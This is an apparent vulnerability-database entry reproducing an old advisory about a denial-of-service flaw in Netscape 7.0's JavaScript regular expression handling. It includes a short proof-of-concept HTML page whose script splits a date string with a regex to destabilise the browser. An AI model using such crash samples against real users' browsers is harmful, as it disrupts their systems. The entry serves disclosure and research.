Netscape 7.0 JavaScript Regular Expression Denial of Service Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Netscape 7.0 JavaScript Regular Expression Denial of Service Vulnerabilit


                                                source: http://www.securityfocus.com/bid/6959/info

It has been reported that Netscape based browsers may be vulnerable to a denial of service condition when executing certain JavaScript methods.

If a malicious page containing a specially crafted JavaScript regular expression method is viewed the browser reportedly becomes un-stable this may result in the critical failure of an affected browser.

This vulnerability was reported for Netscape version 7. It is not known if previous versions are also affected. 

&#60;html&#62;
&#60;head&#62;
&#60;title&#62;test&#60;/title&#62;
&#60;--script-- language=&#34;JavaScript&#34;&#62;
function reformatDate(someDate) {
var tokens = someDate.split(/(\/|-)/);
if (tokens[1].length == 1) tokens[1] = &#34;0&#34; + tokens[1];
if (tokens[0].length == 1) tokens[0] = &#34;0&#34; + tokens[0];
var result = tokens[2] + tokens[1] + tokens[0];
alert(result);
//return result;
}
&#60;/--script--&#62;
&#60;/head&#62;
&#60;body&#62;
&#60;form action=&#34;&#34; method=&#34;GET&#34; name=&#34;form1&#34; onSubmit=&#34;return reformatDate(this.dt.value);&#34;&#62;
MM/DD/YYYY - &#60;input type=text name=dt&#62;
&#60;input type=submit&#62;
&#60;/form&#62;
&#60;/body&#62;
&#60;/html&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1